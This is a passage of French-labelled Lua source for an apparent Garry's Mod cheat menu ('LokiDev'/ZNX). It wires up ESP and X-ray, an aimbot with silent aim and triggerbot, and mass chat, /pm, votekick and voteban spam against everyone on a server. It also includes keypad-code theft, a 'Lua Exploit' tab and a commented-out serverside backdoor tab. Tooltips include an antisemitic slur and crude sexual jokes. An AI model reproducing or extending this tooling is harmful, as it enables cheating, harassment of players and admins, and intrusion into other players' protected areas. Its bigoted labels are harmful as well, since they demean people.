  1122. ZNX.MakeToggleButton( General, 120, 290, "CameraLibre Mobile", "FreecamControls", "CameraLibre Mobile")
  1123. ZNX.MakeKeyBinder(General, 400, 260, 50, 20, "FreecamForward", "CameraLibre Avancer" )
  1124. ZNX.MakeKeyBinder(General, 400, 290, 50, 20, "FreecamBack", "CameraLibre Reculer" )
  1125. ZNX.MakeKeyBinder(General, 235, 275, 50, 20, "FreecamLeft", "CameraLibre Gauche" )
  1126. ZNX.MakeKeyBinder(General, 345, 275, 50, 20, "FreecamRight", "CameraLibre Droite" )
  1127. ZNX.MakeKeyBinder(General, 290, 260, 50, 20, "FreecamUp", "CameraLibre Monter" )
  1128. ZNX.MakeKeyBinder(General, 290, 290, 50, 20, "FreecamDown", "CameraLibre Descendre" )
  1129. ZNX.MakeToggleButton( General, 5, 320, "Radar Joueur", "Radar", "Radar afficher joueurs")
  1130. ZNX.MakeSlider( General, 120, 320, 165, "Taille Radar", 50, 600, "RadarSize" )
  1131. ZNX.MakeSlider( General, 290, 320, 165, "Radar Zoom", 10, 150, "RadarZoom" )
  1132. ZNX.MakeSlider( General, 5, 350, 145, "Radar X", 0, ScrW(), "RadarX" )
  1133. ZNX.MakeSlider( General, 155, 350, 145, "Radar Y", 0, ScrH(), "RadarY" )
  1134. ZNX.MakeSlider( General, 305, 350, 150, "Radar Alpha", 0, 255, "RadarAlpha" )
  1135. ZNX.MakeToggleButton( General, 5, 390, "Activer Rayon X", "Xray", "Activer le Rayon X")
  1136. ZNX.MakeToggleButton( General, 120, 390, "Rayon X Joueurs", "XrayPlayers", "Afficher les joueurs sur le X-Ray")
  1137. ZNX.MakeToggleButton( General, 235, 390, "Rayon X Props", "XrayProps", "Afficher les props sur le X-Ray")
  1138. ZNX.MakeToggleButton( General, 350, 390, "Rayon X Entit� Menu", "XrayEntfinder", "Afficher l'Entit� Menu sur le X-Ray")
  1139. ZNX.MakeToggleButton( General, 5, 420, "Rayon X Couleur Solide", "XraySolid", "Rayon X Couleur Solide")
  1140. ZNX.MakeSlider( General, 5, 450, 455, "Distance de Rayon X Max (Metres)", 0, 2000, "XrayDistance" )
  1141. ZNX.MakeToggleButton( General, 120, 420, "Rayon X Couleur", "NoChamColours", "Rayon X Couleur")
  1142. ZNX.MakeToggleButton( General, 235, 420, "Rayon X Couleur Vive", "PKChams", "Rayon X Couleur Vive")
  1143. ZNX.MakeToggleButton( Utility, 5, 480, "T�moins D�tecteur", "WitnessDetector", "T�moins D�tecteur")
  1144. ZNX.MakeToggleButton( Utility, 120, 480, "Spectateur D�tecteur", "SpectatorDetector", "Spectateur D�tecteur")
  1145. ZNX.MakeToggleButton( General, 120, 550, "Crosshair", "Crosshair", "Crosshair")
  1146. ZNX.MakeToggleButton( General, 350, 70, "Afficher 3D BBox", "BoundingBox3d", "Afficher 3D BBox")
  1147. ZNX.MakeToggleButton( General, 235, 490, "HEURE/FPS/PING", "ShowFPS", "Afficher les FPS/PING/HEURE")
  1148. ZNX.MakeFunctionButton( General, 235, 550, "Mur Transparent", function() ZNX.ToggleWraithVision() end)
  1149. ZNX.MakeToggleButton( General, 120, 520, "PK Joueur Faisceau", "PKPlayerBeams", "Propkill Joueur Faisceau")
  1150. ZNX.MakeToggleButton( General, 235, 520, "PK Prop Faisceau", "PKPropBeams", "Propkill Prop Faisceau")
  1151. ZNX.MakeToggleButton( General, 350, 520, "PK Faisceau Verticale", "PKVerticalBeams", "PK Faisceau Verticale")
  1152. ZNX.MakeToggleButton( General, 5, 550, "PK Velocit�", "PKVelocity", "Propkill Velocit�")
  1153. ZNX.MakeToggleButton( General, 350, 550, "ClientSide Lampe", "CSFlashlight", "ClientSide Lampe")
  1154. ZNX.MakeFunctionButton( Utility, 120, 540, "Vitesse Physics Gun", function() physicgunspeed() end)
  1155. ZNX.MakeFunctionButton( General, 350, 10, "Menu des Joueurs", function() ZNX.PlayerMenu() end)
  1156. ZNX.MakeFunctionButton( General, 120, 10, "Couleur du Menu", function()
  1157. if ZNX.NumberVars.ColorScheme < #ZNX.DefaultSchemes then
  1158. ZNX.NumberVars.ColorScheme = ZNX.NumberVars.ColorScheme + 1
  1159. else
  1160. ZNX.NumberVars.ColorScheme = 1
  1161. end
  1162. ZNX.ChangeColorScheme( ZNX.NumberVars.ColorScheme )
  1163. end)
  1164. ZNX.MakeFunctionButton( General, 235, 10, "Entit� Menu", ZNX.EntMarkerMenu )
  1165. ZNX.MakeToggleButton( Utility, 235, 10, "Rapid Fire", "Autoclick", "Rapid Fire", "Faites tirez le bouton de tire votre souris a la vitesse maximale possible en les maintenant enfonc�s")
  1166. ZNX.MakeToggleButton( Utility, 120, 10, "Bunny Hop", "Bhop", "Bunny Hop")
  1167. ZNX.MakeToggleButton( Utility, 350, 10, "Spam de corde", "RopeStorm", "Spam de corde", "Clic droit avec le tool corde pour spammer une masse de cordes")
  1168. ZNX.MakeToggleButton( Utility, 5, 40, "3�me Personne", "Thirdperson", "3�me Personne")
  1169. --ZNX.MakeToggleButton( Utility, 5, 120, "Camera Spam", "CameraSpam", "Camera Spam")
  1170. ZNX.MakeToggleButton( Utility, 120, 150, "Anti Recul", "NoRecoil", "Anti Recul", "Enleve le recul des armes")
  1171. ZNX.MakeToggleButton( Utility, 235, 150, "Lampe Spam", "FlashlightSpam", "Lampe Spam", "Appuyez sur F pour spam la lampe")
  1172. ZNX.MakeSlider( Utility, 120, 40, 160, "3Pers Dist...", 0, 1000, "TPSDistance" )
  1173. ZNX.MakeSlider( Utility, 285, 40, 175, "3Pers Offs...", -100, 100, "TPSOffset" )
  1174. ZNX.MakeSlider( Utility, 235, 450, 225, "Taille de l'Alarme", 1, 100, "AreaScrollerSize" )
  1175. ZNX.MakeFunctionButton( Utility, 5, 150, "Inspectez votre arme", ZNX.GunMenu, "Afficher une page d'informations sur l'arme dans vos mains" )
  1176. ZNX.MakeFunctionButton( Utility, 120, 180, "Scanneur d'entit�", ZNX.ToggleEntityScanner, "Obtenez des informations d�taill�es et effectuez facilement des actions sur les entit�s sous votre curseur (utilisez F3 pour cliquer sur les boutons !!)" )
  1177. ZNX.MakeToggleButton( Utility, 350, 150, "Notifier les Kills", "NotifyKills", "Notifier les Kills", "Affiche les Kills dans le Chat")
  1178. --ZNX.Vars.NotifyKills
  1179. ZNX.MakeToggleButton( Utility, 5, 210, "Spammer le Chat", "ChatSpam", "Spammer le Chat", "Spam le chat")
  1180. ZNX.MakeToggleButton( Utility, 120, 210, "Spammer en OOC", "ChatSpamOOC", "Spammer en OOC", "Automatiquement mettre votre chat spam en mode OOC dans darkrp et la plupart des autres gamemodes rp")
  1181. ZNX.MakeToggleButton( Utility, 235, 210, "Bind pour Spammer", "ChatSpamBind", "Bind pour Spammer", "Chatspam seulement lorsque vous appuyez sur alt gauche")
  1182. --ZNX.MakeToggleButton( Utility, 350, 210, "Random Insults", "ChatSpamInsult", "Chatspam Random Insults", "Shower randomly generated abuse on everybody")
  1183. ZNX.MakeToggleButton( Utility, 350, 180, "/PM Mode", "ChatSpamPM", "/PM Spam Mode", "Spams /pm messages a tout le monde sur le serveur")
  1184. ZNX.MakeToggleButton( Utility, 350, 210, "/PM Admins", "ChatSpamPMAdmins", "/PM Spam Admins", "Devrions-nous /pm spam les admins ?")
  1185. ZNX.MakeFunctionButton( Utility, 235, 180, "Chatspam Commande", function()
  1186. ZNX.ChatText( "Commande Chatspam afficher dans votre console", Color(255,255,255) )
  1187. print( "---- CHAT SPAMMER COMMANDE ----" )
  1188. print( "@1 = Insulte al�atoire" )
  1189. print( "@PrenezLokidev = Message de promotion pour le menu ^^" )
  1190. print( "METTEZ-LES DANS LE CHAMP DE TEXTE CHATSPAMMER ET ILS SERONT FORMAT�S AUTOMATIQUEMENT EN TEXTE G�N�RALEMENT AL�ATOIRE")
  1191. end, "HALP HOW I USE DIS" )
  1192. ZNX.MakeFunctionButton( Utility, 5, 300, "Nouvelle Identit�", ZNX.InnocentRoleplayer, "Vous avez vu faire quelque chose de sournois, maintenant il est temps d'obtenir une nouvelle identit�\nSuicide et randomise votre nom, votre emploi et vos couleurs" )
  1193. ZNX.MakeFunctionButton( Utility, 235, 90, "NomRP Aleatoire ?", ZNX.GenerateRPName, "Comme vous avez la flemme de cr�e un bon rpname, cette fonction en produira un al�atoire pour vous" )
  1194. ZNX.MakeFunctionButton( Utility, 350, 90, "NomRP Aleatoire ?", ZNX.GenerateRPNameFemale, "Tu veux devenir une fille pour que tu puisses prendre des bites dans ton cul ? x)" )
  1195. ZNX.MakeToggleButton( Utility, 5, 330, "RP Demote Spam", "DemoteSpam", "RP Demote Spam", "Spam demote tout le monde sur le serveur")
  1196. ZNX.MakeToggleButton( Utility, 120, 300, "RP Wanted Spam", "WantedSpam", "RP Wanted Spam", "Rendez tout le monde recherch� par la police")
  1197. ZNX.MakeToggleButton( Utility, 235, 300, "ULX Vkick Spam", "ULXVotekickSpam", "ULX Vkick Spam", "Votekick tout le monde sur le serveur :^)")
  1198. ZNX.MakeToggleButton( Utility, 350, 300, "ULX Vban Spam", "ULXVotebanSpam", "ULX Vban Spam", "Voteban tout le monde sur le serveur :^)")
  1199. ZNX.MakeFunctionButton( Utility, 5, 10, "Commande Info Menu", function() ShowLokidevInfo () end, "Commande Info Menu")
  1200. ZNX.MakeToggleButton( Utility, 120, 330, "Kill Provocation", "KillTaunts", "Kill Provocation", "Chat provocation automatique quand vous tuez quelqu'un")
  1201. ZNX.MakeToggleButton( Utility, 5, 180, "Tire Ennemi Viseur", "Triggerbot", "Tire Ennemi Viseur", "Tirez automatiquement lorsque vous regardez quelqu'un")
  1202. ZNX.MakeToggleButton( Utility, 235, 330, "Mort Provocation", "DeathTaunts", "Mort Provocation", "Chat provocation automatique quand vous mourrez")
  1203. ZNX.MakeFunctionButton( Utility, 5, 450, "Ajouter une Alarme", function() RunConsoleCommand("LokiDev_base_set") end, "D�finir une base pour vous avertir si les gens s'en approchent" )
  1204. ZNX.MakeFunctionButton( Utility, 120, 450, "Enlever l'Alarme", function() RunConsoleCommand("LokiDev_base_remove") end, "Supprimer la base" )
  1205. ZNX.MakeToggleButton( Utility, 350, 330, "Keypad Juif", "KeypadJew", "Keypad Juif", "Voler les codes des keypads des joueurs pour rentrer dans leur base")
  1206. ZNX.MakeToggleButton( Utility, 5, 420, "RP Anti Arrestation", "DodgeArrest", "RP Anti Arrestation", "Se suicide automatiquement si quelqu'un essaie de vous frapper avec un b�ton d'arrestation")
  1207. ZNX.MakeToggleButton( Utility, 120, 420, "Mort = Changer Nom", "NewLifeRule", "Mort = Changer Nom", "Changer automatiquement de nomrp quand vous mourrez")
  1208. ZNX.MakeToggleButton( Utility, 235, 420, "Dodge Physgun", "DontTouchMeThere", "Suicide When PhysGunned", "Don't touch me there, that's my private place")
  1209. ZNX.MakeFunctionButton( Utility, 235, 420, "Anti Anti-AFK", function() RunConsoleCommand("fgtnoafk") end, "Anti Anti-AFK")
  1210. ZNX.MakeFunctionButton( Utility, 350, 420, "Clientside NoClip", function() ZNX.Toggle() end, "Clientside NoClip")
  1211. ZNX.MakeFunctionButton( Utility, 5, 540, "FPS Booster", function() StopLAG() end, "FPS Booster")
  1212. ZNX.MakeToggleButton( Utility, 350, 570, "Rechargement Auto", "AutoReload", "Rechargement Auto", "Rechargement Automatique")
  1213. ZNX.MakeToggleButton( Utility, 235, 570, "Anti Chute D�g�t", "SafeJump", "Anti Chute D�g�t", "System qui fait spawn un props a vos pied des que vous etes proche du sol\nUtilis� Touche pour Anti Chute D�g�t + activ� moi ")
  1214. local ttttt = vgui.Create( "DLabel", Utility )
  1215. ttttt:SetPos( 16, 568 )
  1216. ttttt:SetText( "Touche pour \nAnti Chute D�g�t :" )
  1217. ttttt:SizeToContents()
  1218. ZNX.MakeKeyBinder( Utility, 120, 570, 110, 25, "SafeJumpBindKey", "falldamage" )--]]
  1219. ZNX.MakeToggleButton( Botsettings, 5, 10, "Aimbot Normal", "Aimbot", "Aimbot Normal", "Activ� / D�sactiv� le Aimbot Normal\nQuand le Aimbot Normal et activ� l'ancien aimbot se d�sactive tout seul !!!")
  1220. ZNX.MakeToggleButton( Botsettings, 120, 40, "Aimbot quand tu Tire", "SnapOnFire", "Aimbot quand tu Tire", "Active le aimbot quand tu appuye sur tir�")
  1221. ZNX.MakeToggleButton( Botsettings, 5, 40, "Tire Automatique", "AutoShoot", "Tire Automatique", "Votre aimbot fait maintenant tout le travail pour vous, vous pouvez maintenant afk et vous masturber x)")
  1222. --ZNX.MakeToggleButton( Botsettings, 350, 70, "Rapid Fire", "AutoTrigger", "Rapid Fire", "Spams the trigger on semi auto weapons when locked on and holding left click")
  1223. ZNX.MakeToggleButton( Botsettings, 235, 220, "Touche Aimbot", "AimbotBindMode", "Touche Aimbot", "Active le aimbot quand la touche et pr�sser je conseil de l'activ� pour etre plus legit")
  1224. ZNX.MakeToggleButton( Botsettings, 235, 40, "M9K Travers Mur", "AimbotWallbanger", "M9K Travers Mur", "Aimbot les joueurs si le pistolet actuel est capable de p�n�trer dans le mur / l'objet qu'ils sont cach� derri�re")
  1225. ZNX.MakeToggleButton( Botsettings, 235, 10, "Afficher Position Cible", "PreviewTarget", "Afficher Position Cible", "Affiche la position actuelle / suivante sur laquelle le aimbot se verrouille")
  1226. ZNX.MakeToggleButton( Botsettings, 350, 10, "Pas de Propagation", "CompSpread", "Pas de Propagation", "Fonctionne avec m9k, hl2, ttt, et quelques autres bases d'armes simples. Ne fonctionne pas avec fas2 ou cw2 !!")
  1227. ZNX.MakeToggleButton( Botsettings, 350, 40, "Silent Aim", "SilentAim", "Silent Aim", "Alors, le silent aim c'est un system qui permet de pouvoir aimbot des joueurs meme quand vous les regarder pas,\nAbus� avec un fov de 180, je conseil de mettre un fv pas trop �lever genre 20-40")
  1228. ZNX.MakeToggleButton( Botsettings, 235, 70, "Ciblage Adaptatif", "AimbotAdaptiveTarget", "Ciblage Adaptatif", "Tirez sur n'importe quelle partie de leur corps qui est expos�e, pas seulement leur t�te.\nTotalement abus� lorsqu'il est associ� a Pas de Propagation et M9K Travers Mur")
  1229. ZNX.MakeToggleButton( Botsettings, 5, 160, "Cibler les Amis", "TargetFriends", "Cibler les Amis", "Voulez-vous vraiment trahir vos amis comme �a? :(")
  1230. ZNX.MakeToggleButton( Botsettings, 120, 160, "Cibler les Admins", "TargetAdmins", "Cibler les Admins", "Fait pleurer qu'elle que admins lol")
  1231. ZNX.MakeToggleButton( Botsettings, 235, 160, "Cibler m�me �quipe", "TargetSameTeam", "Cibler m�me �quipe", "Voulez-vous trahir votre �quipe?")
  1232. ZNX.MakeToggleButton( Botsettings, 350, 160, "Cibler que les Cibles", "TargetHighlighted", "Cibler que les Cibles", "Pour tu� les cibles seulement")
  1233. ZNX.MakeToggleButton( Botsettings, 120, 190, "Cibler les Noclippeurs", "TargetNoclippers", "Cibler les Noclippeurs", "Vous ne pouvez g�n�ralement pas les tuer de toute fa�on, alors pourquoi s'emb�ter?")
  1234. ZNX.MakeToggleButton( Botsettings, 5, 190, "Pr�f�rez Tire Tete", "AimbotTargetMode", "Pr�f�rez Tire Tete", "Ciblez les t�tes ou allez directement au centre ?")
  1235. ZNX.MakeToggleButton( Botsettings, 235, 190, "Maintenir la Cible", "AimbotStickyLock", "Maintenir la Cible", "Aimbot ne changera pas de cible tant que la cible actuelle n'est pas morte ou n'est plus visible sur votre fov")
  1236. ZNX.MakeToggleButton( Botsettings, 350, 190, "Cibler que le Murder", "TargetMurder", "Cibler que le Murder", "Cibler uniquement le murder?\nFonctionne uniquement dans le gamemode murder!!!!")
  1237. ZNX.MakeFunctionButton( Botsettings, 120, 10, "Ancien Aimbot", function() AA:OpenMenu() end, "L'ancien aimbot fonctionne mieux sur l'arme Crossbow sinon pour toutes les autre armes le Aimbot normal est largement mieux !")
  1238. local tttt = vgui.Create( "DLabel", Botsettings )
  1239. tttt:SetPos( 15, 225 )
  1240. tttt:SetText( "Touche du Aimbot:" )
  1241. tttt:SizeToContents()
  1242. ZNX.MakeKeyBinder( Botsettings, 120, 220, 110, 25, "AimbotBindKey", "aimbot" )
  1243. ZNX.MakeSlider( Botsettings, 5, 70, 225, "Vitesse de Vis�e", 0, 30, "AimbotSmooth" )
  1244. ZNX.MakeSlider( Botsettings, 5, 100, 225, "Distance Maximum", 0, 9999, "AimbotDist" )
  1245. ZNX.MakeSlider( Botsettings, 235, 100, 225, "Champ de Vision", 0.1, 180, "AimbotMaxFOV" )
  1246. local TextEntry = vgui.Create( "DTextEntry", Utility )
  1247. TextEntry:SetPos( 5, 90 )
  1248. TextEntry:SetSize( 225, 25 )
  1249. TextEntry:SetText( ZNX.NameStealName )
  1250. TextEntry.OnEnter = function( self )
  1251. ZNX.NameStealName = self:GetValue()
  1252. timer.Simple(1,function() LocalPlayer():ConCommand("say /rpname "..self:GetValue().." ") end)
  1253. if ZNX.Vars.Notifications then ZNX.ChatText( "Set my name to: "..self:GetValue(), Color(255,255,255) ) end
  1254. end
  1255. local TextEntry = vgui.Create( "DTextEntry", Utility )
  1256. TextEntry:SetPos( 5, 240 )
  1257. TextEntry:SetSize( 450, 25 )
  1258. TextEntry:SetText( ZNX.ChatSpamText )
  1259. TextEntry.OnEnter = function( self )
  1260. ZNX.ChatSpamText = self:GetValue()
  1261. if ZNX.Vars.Notifications then ZNX.ChatText( "Message de chatspam d�fini sur: "..self:GetValue(), Color(255,255,255) ) end
  1262. end
  1263. ZNX.MakeFunctionButton( Debug, 5, AceMenu:GetTall() - 110, "Effacer la Console", function() table.Empty(ZNX.Debug) end)
  1264. ZNX.MakeFunctionButton( Debug, 120, AceMenu:GetTall() - 110, "Ajouter le Serveur", function() ZNX.AddServer() end)
  1265. ZNX.MakeFunctionButton( Debug, 235, AceMenu:GetTall() - 110, "Afficher Serveur(s)", function() ZNX.LoadServeur() end)
  1266. ZNX.MakeFunctionButton( Debug, 350, AceMenu:GetTall() - 110, "Supprimer Serveur(s)", function() ZNX.DeleteServeur() end)
  1267. --ZNX.MakeFunctionButton( Debug, 235, Menu:GetTall() - 110, "Game Event Logging", function() end)
  1268. --ZNX.MakeFunctionButton( Debug, 350, Menu:GetTall() - 110, "Extensive Logging", function() end)
  1269. PropertySheet:AddSheet( "ESP", General, "icon16/zoom.png", false, false, "ESP/Xray/HUD" )
  1270. --PropertySheet:AddSheet( "Vision Advanced", General2, "icon16/zoom_in.png", false, false, "ESP/Xray/HUD settings" )
  1271. PropertySheet:AddSheet( "Utilitaire", Utility, "icon16/wrench.png", false, false, "Outils et utilitaires" )
  1272. PropertySheet:AddSheet( "Aimbot", Botsettings, "icon16/bomb.png", false, false, "Param�tre Aimbot" )
  1273. PropertySheet:AddSheet( "Exploit", Exploit, "icon16/bug.png", false, false, "Lua Exploit" )
  1274. --PropertySheet:AddSheet( "Backdoor", Backdoor, "icon16/door_in.png", false, false, "Control panel for the Wraithnet/HTX serverside backdoor" )
  1275. PropertySheet:AddSheet( "Debug", Debug, "icon16/printer.png", false, false, "Debug Console" )
  1276. LocalPlayer():EmitSound("vo/npc/male01/excuseme02.wav",100,150)
  1277. else
  1278. LocalPlayer():EmitSound("vo/npc/male01/excuseme02.wav",100,150)
  1279. LocalPlayer():EmitSound("vo/npc/male01/excuseme02.wav",100,150)
  1280. LocalPlayer():EmitSound("vo/npc/male01/excuseme02.wav",100,150)
  1281. LocalPlayer():EmitSound("vo/npc/male01/excuseme02.wav",100,150)
  1282. LocalPlayer():EmitSound("vo/npc/male01/excuseme02.wav",100,150)
  1283. LocalPlayer():EmitSound("vo/npc/male01/excuseme02.wav",100,150)
  1284. return end
  1285. end
  1286. concommand.Add("LokiDevs_Menu", ZNX.Menu)
  1287. ------------------------------------------------------------------------DEBUG CONSOLE SHIT--------------------------------------------------------------------------------------
  1288. function ZNX.DebugLog( str, col )
  1289. table.insert(ZNX.Debug, {str, col})
  1290. if #ZNX.Debug > 40 then
  1291. table.remove( ZNX.Debug, 1 )
  1292. end
  1293. end
  1294. ------------------------------------------------------------------------ENT MARKER MENU--------------------------------------------------------------------------------------
  1295. -- Simple Anti AFK Script / Load before it bug
  1296. local oneTwo = false
  1297. local preventAfk = false
  1298. local function moveAround()
  1299. if oneTwo then
  1300. RunConsoleCommand( "+forward" )
  1301. RunConsoleCommand( "+right" )
  1302. timer.Simple( 0.5, function()
  1303. RunConsoleCommand( "-forward" )
  1304. RunConsoleCommand( "-right" )
  1305. LocalPlayer():SetEyeAngles(LocalPlayer():EyeAngles() + Angle(math.Rand(-20,20),math.Rand(-180,180),0))
  1306. oneTwo = !oneTwo
  1307. end )
  1308. else
  1309. RunConsoleCommand( "+back" )
  1310. RunConsoleCommand( "+left" )
  1311. timer.Simple( 0.5, function()
  1312. RunConsoleCommand( "-back" )
  1313. RunConsoleCommand( "-left" )
  1314. oneTwo = !oneTwo
  1315. end )
  1316. end
  1317. end
  1318. local function runLoop()
  1319. if preventAfk then moveAround() end
  1320. timer.Simple( 1, runLoop )
  1321. end
  1322. timer.Simple( 1, runLoop )
  1323. concommand.Add( "fgtnoafk", function( ply, cmd, args )
  1324. preventAfk = !preventAfk
  1325. end )
  1326. local OtherEnts = {}
  1327. function ZNX.EntMarkerMenu()
  1328. if EMenu then return end
  1329. table.Empty(OtherEnts)
  1330. for k,v in pairs(ents.GetAll()) do
  1331. local addToAllEnts = true
  1332. for i,p in pairs(ZNX.MarkedEnts) do
  1333. if p == v:GetClass() then
  1334. addToAllEnts = false
  1335. end
  1336. end
  1337. for i,p in pairs(OtherEnts) do
  1338. if p == v:GetClass() then
  1339. addToAllEnts = false
  1340. end
  1341. end
  1342. if addToAllEnts then
  1343. table.insert(OtherEnts, v:GetClass())
  1344. end
  1345. end
  1346. local EMenu = vgui.Create("DFrame")
  1347. EMenu:SetSize(500,485)
  1348. EMenu:SetTitle("Entit� Menu")
  1349. EMenu:Center()
  1350. EMenu:MakePopup()
  1351. EMenu.Paint = function()
  1352. surface.SetDrawColor( ZNX.DefaultScheme )
  1353. surface.DrawRect( 0, 0, EMenu:GetWide(), EMenu:GetTall() )
  1354. surface.SetDrawColor( Color(155, 155, 155, 255) )
  1355. surface.DrawOutlinedRect( 0, 0, EMenu:GetWide(), EMenu:GetTall() )
  1356. surface.DrawOutlinedRect( 1, 1, EMenu:GetWide() - 2, EMenu:GetTall() - 2 )
  1357. surface.SetDrawColor( Color(0, 0, 0, 200) )
  1358. surface.DrawRect( 10, 25, EMenu:GetWide() - 20, EMenu:GetTall() - 35 )
  1359. end
  1360. DermaList = vgui.Create( "DPanelList", EMenu )
  1361. DermaList:SetPos( 25,35 )
  1362. DermaList:SetSize( 500, 400 )
  1363. DermaList:SetSpacing( 75 )
  1364. DermaList:EnableHorizontal( false )
  1365. DermaList:EnableVerticalScrollbar( true )
  1366. local SelectedEnts = vgui.Create("DListView")
  1367. SelectedEnts:SetSize(220, 335)
  1368. SelectedEnts:SetPos(0, 0)
  1369. SelectedEnts:SetMultiSelect(false)
  1370. SelectedEnts:AddColumn("Entit� afficher dans ESP")
  1371. for k,v in SortedPairs(ZNX.MarkedEnts, false) do
  1372. SelectedEnts:AddLine(v)
  1373. end
  1374. SelectedEnts.DoDoubleClick = function(parent, index, list)
  1375. table.remove(ZNX.MarkedEnts, index)
  1376. EMenu:rebuildlists()
  1377. end
  1378. DermaList:Add(SelectedEnts)
  1379. local AllEnts = vgui.Create("DListView")
  1380. AllEnts:SetSize(220, 335)
  1381. AllEnts:SetPos(230, 0)
  1382. AllEnts:SetMultiSelect(false)
  1383. AllEnts:AddColumn("Entit� non afficher dans ESP")
  1384. for k,v in SortedPairs(OtherEnts, false) do
  1385. AllEnts:AddLine(v)
  1386. end
  1387. AllEnts.DoDoubleClick = function(parent, index, panel )
  1388. table.insert(ZNX.MarkedEnts, OtherEnts[index])
  1389. EMenu:rebuildlists()
  1390. end
  1391. DermaList:Add(AllEnts)
  1392. function EMenu:rebuildlists()
  1393. table.Empty(OtherEnts)
  1394. for k,v in pairs(ents.GetAll()) do
  1395. local addToAllEnts = true
  1396. for i,p in pairs(ZNX.MarkedEnts) do
  1397. if p == v:GetClass() then
  1398. addToAllEnts = false
  1399. end
  1400. end
  1401. for i,p in pairs(OtherEnts) do
  1402. if p == v:GetClass() then
  1403. addToAllEnts = false
  1404. end
  1405. end
  1406. if addToAllEnts then
  1407. table.insert(OtherEnts, v:GetClass())
  1408. end
  1409. end
  1410. AllEnts:Clear()
  1411. SelectedEnts:Clear()
  1412. for k,v in SortedPairs(OtherEnts, false) do
  1413. AllEnts:AddLine( v )
  1414. end
  1415. for k,v in SortedPairs(ZNX.MarkedEnts, false) do
  1416. SelectedEnts:AddLine( v )
  1417. end
  1418. end
  1419. ZNX.MakeFunctionButton( EMenu, 25, 380, "Ajouter les Printers", function()
  1420. for k,v in pairs(ents.GetAll()) do
  1421. if string.find(v:GetClass(), "custom_printer") or string.find(v:GetClass(), "rprint") or string.find(v:GetClass(), "bit_miner") or string.find(v:GetClass(), "*_printer") or string.find(v:GetClass(), "print") or string.find(v:GetClass(), "br_money") or string.find(v:GetClass(), "*_money") or string.find(v:GetClass(), "adrug_weed") or string.find(v:GetClass(), "cox_cocaine") or string.find(v:GetClass(), "*_money_printer") or string.find(v:GetClass(), "*_money") or string.find(v:GetClass(), "atila_argent_sale") or string.find(v:GetClass(), "atila_farine_cultivateur") or string.find(v:GetClass(), "rein_kidney") or string.find(v:GetClass(), "atila_machine_blanchisseur") or string.find(v:GetClass(), "*_printer_*") and !table.HasValue(ZNX.MarkedEnts, v:GetClass()) then
  1422. table.insert(ZNX.MarkedEnts, v:GetClass())
  1423. end
  1424. end
  1425. EMenu:rebuildlists()
  1426. end, "Trouve tout ce qui ressemble a un printer")
  1427. ZNX.MakeFunctionButton( EMenu, 140, 380, "Ajouter les Armes", function()
  1428. for k,v in pairs(ents.GetAll()) do
  1429. if (string.find(v:GetClass(), "weap") or string.find(v:GetClass(), "fas2") or string.find(v:GetClass(), "m9k") or string.find(v:GetClass(), "cw")) and !table.HasValue(ZNX.MarkedEnts, v:GetClass()) then
  1430. table.insert(ZNX.MarkedEnts, v:GetClass())
  1431. end
  1432. end
  1433. EMenu:rebuildlists()
  1434. end, "Trouve tout ce qui ressemble a des armes")
  1435. ZNX.MakeFunctionButton( EMenu, 255, 380, "Ajouter les Vehicles", function()
  1436. for k,v in pairs(ents.GetAll()) do
  1437. if v:IsVehicle() and !table.HasValue(ZNX.MarkedEnts, v:GetClass()) then
  1438. table.insert(ZNX.MarkedEnts, v:GetClass())
  1439. end
  1440. end
  1441. EMenu:rebuildlists()
  1442. end, "Trouve tout ce qui ressemble a des vehicles")
  1443. ZNX.MakeFunctionButton( EMenu, 370, 380, "Ajouter les Loots", function()
  1444. for k,v in pairs(ents.GetAll()) do
  1445. if (string.find(v:GetClass(), "item") or string.find(v:GetClass(), "loot")) and !table.HasValue(ZNX.MarkedEnts, v:GetClass()) then
  1446. table.insert(ZNX.MarkedEnts, v:GetClass())
  1447. end
  1448. end
  1449. EMenu:rebuildlists()
  1450. end, "Trouve tout ce qui ressemble a des loots / items (utile pour gmod dayz)")
  1451. ZNX.MakeFunctionButton( EMenu, 25, 410, "DarkRP Entit�s", function()
  1452. for k,v in pairs(ents.GetAll()) do
  1453. if v:GetClass() == "spawned_shipment" or v:GetClass() == "spawned_money" or v:GetClass() == "spawned_weapon" or v:GetClass() == "police_armory" or v:GetClass() == "spawned_ammo" or v:GetClass() == "spawned_food" and !table.HasValue(ZNX.MarkedEnts, v:GetClass()) then
  1454. table.insert(ZNX.MarkedEnts, v:GetClass() )
  1455. end
  1456. end
  1457. EMenu:rebuildlists()
  1458. end, "Trouve tout ce qui ressemble a des entit�s DarkRP (armes, argent, shipments etc)")
  1459. ZNX.MakeFunctionButton( EMenu, 370, 410, "Effacer la liste", function()
  1460. ZNX.MarkedEnts = {}
  1461. EMenu:rebuildlists()
  1462. end, "Effacer la liste des entit�s afficher")
  1463. local turd = vgui.Create( "DLabel", EMenu )
  1464. turd:SetPos( 25, 447 )
  1465. turd:SetText( "Recherche classes : " )
  1466. turd:SizeToContents()
  1467. local target4 = vgui.Create( "DTextEntry", EMenu )
  1468. target4:SetPos( 125, 442 )
  1469. target4:SetSize( 255, 25 )
  1470. target4:SetText( "" )
  1471. target4.OnChange = function( self )
  1472. local nam = self:GetValue()
  1473. if nam == "" then
  1474. ZNX.MarkedEnts = {}
  1475. EMenu:rebuildlists()
  1476. return
  1477. end
  1478. local namtab = string.Explode( ", ", nam )
  1479. ZNX.MarkedEnts = {}
  1480. for _, en in pairs( ents.GetAll() ) do
  1481. for _, s in pairs( namtab ) do
  1482. if string.find( string.lower( en:GetClass() ), s, 1, true ) then
  1483. if !table.HasValue( ZNX.MarkedEnts, en:GetClass() ) then table.insert( ZNX.MarkedEnts, en:GetClass() ) end
  1484. end
  1485. end
  1486. end
  1487. EMenu:rebuildlists()
  1488. end
  1489. end
  1490. concommand.Add("LokiDev_ents", ZNX.EntMarkerMenu)
  1491. ------------------------------------------------------------------------PLAYERS MENU--------------------------------------------------------------------------------------
  1492. function ZNX.PlayerMenu()
  1493. if PMenu then return end
  1494. local PMenu = vgui.Create("DFrame")
  1495. PMenu:SetSize(590,420)
  1496. PMenu:SetTitle("Players menu")
  1497. PMenu:Center()
  1498. PMenu:MakePopup()
  1499. PMenu.Paint = function()
  1500. surface.SetDrawColor( ZNX.DefaultScheme )
  1501. surface.DrawRect( 0, 0, PMenu:GetWide(), PMenu:GetTall() )
  1502. surface.SetDrawColor( Color(155, 155, 155, 255) )
  1503. surface.DrawOutlinedRect( 0, 0, PMenu:GetWide(), PMenu:GetTall() )
  1504. surface.DrawOutlinedRect( 1, 1, PMenu:GetWide() - 2, PMenu:GetTall() - 2 )
